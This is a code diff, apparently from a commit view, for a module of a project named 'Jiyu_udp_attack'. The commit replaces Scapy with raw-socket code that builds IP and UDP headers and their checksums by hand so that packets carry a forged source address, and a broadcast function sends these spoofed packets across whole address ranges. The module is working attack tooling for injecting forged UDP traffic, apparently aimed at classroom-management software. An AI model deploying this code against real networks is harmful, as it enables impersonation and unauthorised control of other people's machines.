22This module is used to send or broadcast UDP packets with spoofed IP addresses.
33"""
44
5- import scapy .all as scapy
5+ import struct
6+ import random
7+ import socket
68
7- from Jiyu_udp_attack .ip_analyze import ip_analyze
9+ try :
10+ from Jiyu_udp_attack .ip_analyze import ip_analyze
11+ except ImportError :
12+ from ip_analyze import ip_analyze
813
914
10- def send_packet (src_ip : str , dst_ip : str , dst_port : int , data : bytes ) -> None :
15+ def calculate_checksum (data : bytes ) -> int :
16+ """
17+ Calculates the checksum for the given data.
18+
19+ Args:
20+ data (bytes): The data for which to calculate the checksum.
21+
22+ Returns:
23+ int: The calculated checksum.
24+ """
25+ data = data + b"\x00 " * (len (data ) % 2 ) # Ensure even length
26+
27+ total = 0
28+ for word in struct .unpack ("!" + "H" * (len (data ) // 2 ), data ):
29+ total += word
30+ if total > 0xFFFF :
31+ total = (total & 0xFFFF ) + (total >> 16 )
32+
33+ return ~ total & 0xFFFF
34+
35+
36+ # pylint: disable=too-many-locals
37+ def create_raw_udp_packet (src_ip : str , dst_ip : str , dst_port : int , payload : bytes ) -> bytes :
38+ """
39+ Creates a raw UDP packet with a spoofed source IP address.
40+
41+ Args:
42+ src_ip (str): The source IP address to spoof.
43+ dst_ip (str): The destination IP address.
44+ dst_port (int): The destination port number.
45+ payload (bytes): The data payload to include in the packet.
46+
47+ Returns:
48+ bytes: The constructed raw UDP packet.
49+ """
50+ # 1. Set IP header parameters
51+ ip_ver = 4
52+ ip_ihl = 5 # 5 * 4 = 20 bytes header
53+ ip_tos = 0
54+ ip_total_len = 20 + 8 + len (payload ) # IP header + UDP header + data
55+ ip_id = random .randint (0 , 65535 )
56+ ip_frag_off = 0
57+ ip_ttl = 64
58+ ip_proto = socket .IPPROTO_UDP
59+ ip_check = 0 # Initial value is 0, will be calculated later
60+
61+ # 2. Build IP header (initial checksum is 0)
62+ ip_header = struct .pack (
63+ "!BBHHHBBH4s4s" ,
64+ (ip_ver << 4 ) | ip_ihl ,
65+ ip_tos ,
66+ ip_total_len ,
67+ ip_id ,
68+ ip_frag_off ,
69+ ip_ttl ,
70+ ip_proto ,
71+ ip_check ,
72+ socket .inet_aton (src_ip ),
73+ socket .inet_aton (dst_ip ),
74+ )
75+
76+ # 3. Calculate IP header checksum
77+ ip_check = calculate_checksum (ip_header )
78+
79+ # 4. Rebuild IP header with correct checksum
80+ ip_header = struct .pack (
81+ "!BBHHHBBH4s4s" ,
82+ (ip_ver << 4 ) | ip_ihl ,
83+ ip_tos ,
84+ ip_total_len ,
85+ ip_id ,
86+ ip_frag_off ,
87+ ip_ttl ,
88+ ip_proto ,
89+ ip_check ,
90+ socket .inet_aton (src_ip ),
91+ socket .inet_aton (dst_ip ),
92+ )
93+
94+ # 5. Build UDP header (initial checksum is 0)
95+ src_port = random .randint (1024 , 65535 ) # Random source port
96+ udp_length = 8 + len (payload )
97+ udp_header = struct .pack ("!HHHH" , src_port , dst_port , udp_length , 0 ) # Initial checksum is 0
98+
99+ # 6. Create pseudo header for UDP checksum calculation
100+ pseudo_header = struct .pack ("!4s4sBBH" , socket .inet_aton (src_ip ), socket .inet_aton (dst_ip ), 0 , ip_proto , udp_length )
101+
102+ # 7. Calculate UDP checksum (including pseudo header)
103+ udp_check = calculate_checksum (pseudo_header + udp_header + payload )
104+
105+ # 8. Rebuild UDP header with correct checksum
106+ udp_header = struct .pack ("!HHHH" , src_port , dst_port , udp_length , udp_check )
107+
108+ # 9. Combine complete packet
109+ return ip_header + udp_header + payload
110+
111+
112+ def send_packet (src_ip : str , dst_ip : str , dst_port : int , payload : bytes ) -> None :
11113 """
12114 Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
13115
116+ Ensure that the source IP address is valid and that you have permission to send packets with spoofed addresses.
117+
14118 Args:
15119 src_ip (str): The source IP address.
16120 dst_ip (str): The destination IP address.
17121 dst_port (int): The destination port number.
18- data (bytes): The data payload to include in the packet.
122+ payload (bytes): The data payload to include in the packet.
19123
20124 Raises:
21125 scapy.error.Scapy_Exception: If there is an error sending the packet.
@@ -24,12 +128,13 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
24128 This function uses Scapy to construct and send the packet.
25129 Ensure that Scapy is installed and properly configured in your environment.
26130 """
27- # pylint: disable=no-member
28- packet = scapy .IP (src = src_ip , dst = dst_ip ) / scapy .UDP (dport = dst_port ) / scapy .Raw (load = data ) # type: ignore
29- scapy .send (packet , count = 1 , verbose = False )
131+ client = socket .socket (socket .AF_INET , socket .SOCK_RAW , socket .IPPROTO_RAW )
132+ client .setsockopt (socket .IPPROTO_IP , socket .IP_HDRINCL , 1 )
133+ packet = create_raw_udp_packet (src_ip , dst_ip , dst_port , payload )
134+ client .sendto (packet , (dst_ip , dst_port ))
30135
31136
32- def broadcast_packet (src_ip : str , dst_ip : str , dst_port : int , data : bytes ) -> None :
137+ def broadcast_packet (src_ip : str , dst_ip : str , dst_port : int , payload : bytes ) -> None :
33138 """
34139 Sends a broadcast UDP packet to the specified destination IP address or range.
35140
@@ -39,7 +144,7 @@ def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> No
39144 src_ip (str): The source IP address.
40145 dst_ip (str): The broadcast IP address (e.g., "192.168.1.255", "192.168.1.0/24", "192.168.1.10-100").
41146 dst_port (int): The destination port number.
42- data (bytes): The data payload to include in the packet.
147+ payload (bytes): The data payload to include in the packet.
43148 """
44149 for ip in ip_analyze (dst_ip ):
45- send_packet (src_ip , ip , dst_port , data )
150+ send_packet (src_ip , ip , dst_port , payload )
0 commit comments